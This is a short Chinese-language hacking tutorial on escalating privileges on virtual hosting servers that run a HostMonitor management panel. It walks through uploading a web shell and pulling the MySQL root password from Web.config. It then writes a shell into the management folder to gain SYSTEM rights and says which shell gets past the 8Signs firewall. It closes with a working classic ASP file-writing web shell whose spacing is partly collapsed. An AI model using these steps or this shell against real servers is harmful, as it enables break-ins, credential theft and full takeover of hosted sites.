分析虚拟服务器提权全过程

判断是否是我说的这类服务。HTTP://服务器IP/Management/
显示内容为：“ThisisPdfActivexintheActiveX,AddallintheWebPage!”
用BS的马直接浏览c:\HostMonitor\vhostlog文件夹。找个能上传的目录。上传BS的马。
之后浏览HTTP://服务器IP/vhostlog/shell.asp
然后查看c:\HostMonitor\Management\Web.config文件，得到Mysqlroot的密码。

Web.config

连接MYSQL数据库。然后。导出小马到c:\HostMonitor\Management\文件夹下，得到system权限。

system

注意。这类服务器装有8SignsFirewall防火墙的。PHP。ASP。ASPX很多小马大马都不能用。所以这里指定用BS的马。
小马
<%
OnErrorResumeNext
setgl=server.CreateObJeCt("Adodb.Stream")
gl.Open
gl.Type=2
gl.CharSet="gb2312"
gl.writetextrequest("code")
gl.SaveToFileserver.mappath(request("path")),2
gl.Close
setgl=nothing
response.redirectrequest("path")
%>
aspshelluP.